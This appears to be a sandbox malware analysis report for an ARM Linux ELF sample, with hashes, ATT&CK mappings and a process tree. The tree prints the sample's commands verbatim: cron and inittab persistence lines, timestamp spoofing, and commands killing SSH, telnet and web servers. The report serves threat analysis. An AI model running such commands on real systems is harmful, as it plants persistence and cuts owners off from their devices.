7217b974542ea8e3d69211c4280f10b451f0a5d9df60a8ea091d89aa73a78160

Analysis

max time kernel
17s
max time network
127s
platform
debian-9_armhf
resource
debian9-armhf-20221125-en
resource tags

arch:armhfimage:debian9-armhf-20221125-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
05-08-2023 13:30

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

7217b974542ea8e3d69211c4280f10b451f0a5d9df60a8ea091d89aa73a78160elf_JC.elf
Size

605KB
MD5

ef717a601f11e805a0d67e49a79ad602
SHA1

17c25a39fc5faa931e1e99338c530b801f22397a
SHA256

7217b974542ea8e3d69211c4280f10b451f0a5d9df60a8ea091d89aa73a78160
SHA512

dcb245a5769bc921cabee37efdbaa71e5adb4f3637014d18d5de2dbf039d49b773875a25d6bb5a221614890fd3fb725a77aa2c92160379061058a5a10094a886
SSDEEP

12288:ZC1aCpxcLoP5fx5+rTGHqlXqDqPZyG65+jZvG0XqndyK7xTSZa6tdp:qbccP5Z5+rTGKlMqr65gZvG0XsdyJYw

Score

6^/10

persistence

Malware Config

Signatures

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

persistence

Scheduled Task/Job

T1053

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.uafiCO	crontab

Enumerates kernel/hardware configuration 1 TTPs 45 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/self/exe	7217b974542ea8e3d69211c4280f10b451f0a5d9df60a8ea091d89aa73a78160elf_JC.elf
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/1/environ	systemctl

/tmp/7217b974542ea8e3d69211c4280f10b451f0a5d9df60a8ea091d89aa73a78160elf_JC.elf
/tmp/7217b974542ea8e3d69211c4280f10b451f0a5d9df60a8ea091d89aa73a78160elf_JC.elf
1⤵
- Reads runtime system information
PID:358
- /bin/sh
  sh -c "touch -acmr /bin/ls /tmp/7217b974542ea8e3d69211c4280f10b451f0a5d9df60a8ea091d89aa73a78160elf_JC.elf"
  2⤵
  PID:359
- - /usr/bin/touch
    touch -acmr /bin/ls /tmp/7217b974542ea8e3d69211c4280f10b451f0a5d9df60a8ea091d89aa73a78160elf_JC.elf
    3⤵
    PID:360
- /bin/sh
  sh -c "(crontab -l | grep -v \"/tmp/7217b974542ea8e3d69211c4280f10b451f0a5d9df60a8ea091d89aa73a78160elf_JC.elf\" | grep -v \"no cron\" | grep -v \"lesshts/run.sh\" > /var/run/.x00740882966) > /dev/null 2>&1"
  2⤵
  PID:361
- /bin/sh
  sh -c "echo \"* * * * * /tmp/7217b974542ea8e3d69211c4280f10b451f0a5d9df60a8ea091d89aa73a78160elf_JC.elf > /dev/null 2>&1 &\" >> /var/run/.x00740882966"
  2⤵
  PID:370
- /bin/sh
  sh -c "crontab /var/run/.x00740882966"
  2⤵
  PID:371
- - /usr/bin/crontab
    crontab /var/run/.x00740882966
    3⤵
    - Creates/modifies Cron job
    PID:372
- /bin/sh
  sh -c "rm -rf /var/run/.x00740882966"
  2⤵
  PID:373
- - /bin/rm
    rm -rf /var/run/.x00740882966
    3⤵
    PID:374
- /bin/sh
  sh -c "cat /etc/inittab | grep -v \"/tmp/7217b974542ea8e3d69211c4280f10b451f0a5d9df60a8ea091d89aa73a78160elf_JC.elf\" > /etc/inittab2"
  2⤵
  PID:375
- - /bin/cat
    cat /etc/inittab
    3⤵
    PID:376
- - /bin/grep
    grep -v /tmp/7217b974542ea8e3d69211c4280f10b451f0a5d9df60a8ea091d89aa73a78160elf_JC.elf
    3⤵
    PID:377
- /bin/sh
  sh -c "echo \"0:2345:respawn:/tmp/7217b974542ea8e3d69211c4280f10b451f0a5d9df60a8ea091d89aa73a78160elf_JC.elf\" >> /etc/inittab2"
  2⤵
  PID:378
- /bin/sh
  sh -c "cat /etc/inittab2 > /etc/inittab"
  2⤵
  PID:379
- - /bin/cat
    cat /etc/inittab2
    3⤵
    PID:380
- /bin/sh
  sh -c "rm -rf /etc/inittab2"
  2⤵
  PID:381
- - /bin/rm
    rm -rf /etc/inittab2
    3⤵
    PID:382
- /bin/sh
  sh -c "touch -acmr /bin/ls /etc/inittab"
  2⤵
  PID:383
- - /usr/bin/touch
    touch -acmr /bin/ls /etc/inittab
    3⤵
    PID:384

/usr/bin/crontab
crontab -l
1⤵
PID:363

/bin/grep
grep -v /tmp/7217b974542ea8e3d69211c4280f10b451f0a5d9df60a8ea091d89aa73a78160elf_JC.elf
1⤵
PID:364

/bin/grep
grep -v "no cron"
1⤵
PID:366

/bin/grep
grep -v lesshts/run.sh
1⤵
PID:367

/bin/sh
sh -c "/bin/uname -n"
1⤵
PID:386
- /bin/uname
  /bin/uname -n
  2⤵
  PID:387

/bin/sh
sh -c "/bin/uname -n"
1⤵
PID:388
- /bin/uname
  /bin/uname -n
  2⤵
  PID:389

/bin/sh
sh -c "/bin/uname -n"
1⤵
PID:390
- /bin/uname
  /bin/uname -n
  2⤵
  PID:391

/bin/sh
sh -c "kill -9 `cat /var/run/httpd.pid` > /dev/null 2>&1 &"
1⤵
PID:392

/bin/sh
sh -c "service httpd stop > /dev/null 2>&1 &"
1⤵
PID:394

/bin/cat
cat /var/run/httpd.pid
1⤵
PID:395

/bin/sh
sh -c "killall -9 mini_httpd > /dev/null 2>&1 &"
1⤵
PID:397

/usr/sbin/service
service httpd stop
1⤵
PID:396
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:400
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:403
- /bin/systemctl
  systemctl --quiet is-active multi-user.target
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:407
- /bin/systemctl
  systemctl -p Triggers show dbus.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:434
- /bin/systemctl
  systemctl -p Triggers show ssh.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:441
- /bin/systemctl
  systemctl -p Triggers show syslog.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:446
- /bin/systemctl
  systemctl -p Triggers show systemd-fsckd.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:449
- /bin/systemctl
  systemctl -p Triggers show systemd-initctl.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:452
- /bin/systemctl
  systemctl -p Triggers show systemd-journald-audit.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:455
- /bin/systemctl
  systemctl -p Triggers show systemd-journald-dev-log.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:458
- /bin/systemctl
  systemctl -p Triggers show systemd-journald.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:461
- /bin/systemctl
  systemctl -p Triggers show systemd-networkd.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:464
- /bin/systemctl
  systemctl -p Triggers show systemd-rfkill.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:467
- /bin/systemctl
  systemctl -p Triggers show systemd-udevd-control.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:470
- /bin/systemctl
  systemctl -p Triggers show systemd-udevd-kernel.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:473

/bin/sh
sh -c "killall -9 minihttpd > /dev/null 2>&1 &"
1⤵
PID:399

/bin/sh
sh -c "kill -9 `cat /var/run/thttpd.pid` > /dev/null 2>&1 &"
1⤵
PID:402

/bin/sh
sh -c "nvram set httpd_enable=0 > /dev/null 2>&1"
1⤵
PID:406

/bin/cat
cat /var/run/thttpd.pid
1⤵
PID:405

/bin/sh
sh -c "nvram set http_enable=0 > /dev/null 2>&1"
1⤵
PID:408

/bin/sh
sh -c "killall -9 httpd > /dev/null 2>&1 &"
1⤵
PID:409

/bin/sh
sh -c "service telnetd stop > /dev/null 2>&1 &"
1⤵
PID:411

/bin/sh
sh -c "service sshd stop > /dev/null 2>&1 &"
1⤵
PID:414

/usr/sbin/service
service telnetd stop
1⤵
PID:412
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:418
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:420
- /bin/systemctl
  systemctl --quiet is-active multi-user.target
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:424
- /bin/systemctl
  systemctl -p Triggers show dbus.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:442
- /bin/systemctl
  systemctl -p Triggers show ssh.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:447
- /bin/systemctl
  systemctl -p Triggers show syslog.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:450
- /bin/systemctl
  systemctl -p Triggers show systemd-fsckd.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:453
- /bin/systemctl
  systemctl -p Triggers show systemd-initctl.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:456
- /bin/systemctl
  systemctl -p Triggers show systemd-journald-audit.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:459
- /bin/systemctl
  systemctl -p Triggers show systemd-journald-dev-log.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:462
- /bin/systemctl
  systemctl -p Triggers show systemd-journald.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:465
- /bin/systemctl
  systemctl -p Triggers show systemd-networkd.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:469
- /bin/systemctl
  systemctl -p Triggers show systemd-rfkill.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:471
- /bin/systemctl
  systemctl -p Triggers show systemd-udevd-control.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:474
- /bin/systemctl
  systemctl -p Triggers show systemd-udevd-kernel.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:476

/bin/systemctl
systemctl list-unit-files --full "--type=socket"
1⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:415

/bin/sed
sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
1⤵
- Reads runtime system information
PID:416

/bin/sh
sh -c "killall -9 telnetd > /dev/null 2>&1 &"
1⤵
PID:419

/usr/sbin/service
service sshd stop
1⤵
PID:417
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:423
- /usr/bin/basename
  basename /usr/sbin/service
  2⤵
  PID:426
- /bin/systemctl
  systemctl --quiet is-active multi-user.target
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:430
- /bin/systemctl
  systemctl -p Triggers show dbus.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:443
- /bin/systemctl
  systemctl -p Triggers show ssh.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:448
- /bin/systemctl
  systemctl -p Triggers show syslog.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:451
- /bin/systemctl
  systemctl -p Triggers show systemd-fsckd.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:454
- /bin/systemctl
  systemctl -p Triggers show systemd-initctl.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:457
- /bin/systemctl
  systemctl -p Triggers show systemd-journald-audit.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:460
- /bin/systemctl
  systemctl -p Triggers show systemd-journald-dev-log.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:463
- /bin/systemctl
  systemctl -p Triggers show systemd-journald.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:466
- /bin/systemctl
  systemctl -p Triggers show systemd-networkd.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:468
- /bin/systemctl
  systemctl -p Triggers show systemd-rfkill.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:472
- /bin/systemctl
  systemctl -p Triggers show systemd-udevd-control.socket
  2⤵
  - Enumerates kernel/hardware configuration
  PID:475
- /bin/systemctl
  systemctl -p Triggers show systemd-udevd-kernel.socket
  2⤵
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:477

/bin/sh
sh -c "killall -9 utelnetd > /dev/null 2>&1 &"
1⤵
PID:422

/bin/sh
sh -c "killall -9 dropbear > /dev/null 2>&1 &"
1⤵
PID:427

/bin/sh
sh -c "killall -9 sshd > /dev/null 2>&1 &"
1⤵
PID:429

/bin/sh
sh -c "killall -9 lighttpd > /dev/null 2>&1 &"
1⤵
PID:432

/bin/systemctl
systemctl list-unit-files --full "--type=socket"
1⤵
- Enumerates kernel/hardware configuration
PID:436

/bin/systemctl
systemctl list-unit-files --full "--type=socket"
1⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:438

/bin/sed
sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
1⤵
PID:439

/bin/sed
sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
1⤵
- Reads runtime system information
PID:440

/usr/local/sbin/systemctl
systemctl stop httpd.service
1⤵
PID:396

/usr/local/bin/systemctl
systemctl stop httpd.service
1⤵
PID:396

/usr/sbin/systemctl
systemctl stop httpd.service
1⤵
PID:396

/usr/bin/systemctl
systemctl stop httpd.service
1⤵
PID:396

/sbin/systemctl
systemctl stop httpd.service
1⤵
PID:396

/bin/systemctl
systemctl stop httpd.service
1⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:396

/usr/local/sbin/systemctl
systemctl stop telnetd.service
1⤵
PID:412

/usr/local/bin/systemctl
systemctl stop telnetd.service
1⤵
PID:412

/usr/sbin/systemctl
systemctl stop telnetd.service
1⤵
PID:412

/usr/bin/systemctl
systemctl stop telnetd.service
1⤵
PID:412

/sbin/systemctl
systemctl stop telnetd.service
1⤵
PID:412

/bin/systemctl
systemctl stop telnetd.service
1⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:412

/usr/local/sbin/systemctl
systemctl stop sshd.service
1⤵
PID:417

/usr/local/bin/systemctl
systemctl stop sshd.service
1⤵
PID:417

/usr/sbin/systemctl
systemctl stop sshd.service
1⤵
PID:417

/usr/bin/systemctl
systemctl stop sshd.service
1⤵
PID:417

/sbin/systemctl
systemctl stop sshd.service
1⤵
PID:417

/bin/systemctl
systemctl stop sshd.service
1⤵
- Enumerates kernel/hardware configuration
PID:417

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/etc/inittab

Filesize
95B

MD5
b9be61b261f7416037d2ce6d35cdb32c

SHA1
ad4171e22bb069e1d8d6689d44f4ce0d3b1450a8

SHA256
63f0ab369ed2416132274ff164ed09d5a4c00f7bf2484d376672a50463c49c3d

SHA512
edd11f619213f3bdf889f86308986ac6768a291a123cbf072bdc918b2acec4552c3d23055473d351f73986177685a8236e77cbb2db3b3e92cca582e590498f1f

Download Submit
/etc/inittab2

Filesize
95B

MD5
b9be61b261f7416037d2ce6d35cdb32c

SHA1
ad4171e22bb069e1d8d6689d44f4ce0d3b1450a8

SHA256
63f0ab369ed2416132274ff164ed09d5a4c00f7bf2484d376672a50463c49c3d

SHA512
edd11f619213f3bdf889f86308986ac6768a291a123cbf072bdc918b2acec4552c3d23055473d351f73986177685a8236e77cbb2db3b3e92cca582e590498f1f

Download Submit
/run/.x00740882966

Filesize
109B

MD5
b2b8037cbd5d1833b167c933ddb96db1

SHA1
c1c2e9ad1bd53798507bea71fe9302f4ee1aec75

SHA256
586f0bbbab9c3b62ba7bdfed971d52cf18d6636685fa236a2e8c84abf6a60724

SHA512
e2ad11206f6a5136a0299d1e69ab2d617b34f7442de00c6ba48f6bc462812fea5139794a09b3aa31b7bc17808328b9cac2eda2f73bda84646c5aab1e6d43ab0d

Download Submit
/var/spool/cron/crontabs/tmp.uafiCO

Filesize
305B

MD5
c8b187575a26d44dfff5e02b2ad3d180

SHA1
7b9046548e073f9cb3515d65835d93c5a02769ea

SHA256
869ddfcf156b9437cef3f46f9d480431a19c2b4566149bf889d4bb825a6f234e

SHA512
81ccb48578a7b6e7c859b6422c919276e2ae0d93ad41a53bae95deacd4cd2772a0a7e063f6d991c2c71a3f8808e80da5a38389a1b642a94a0046082523b668c7

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads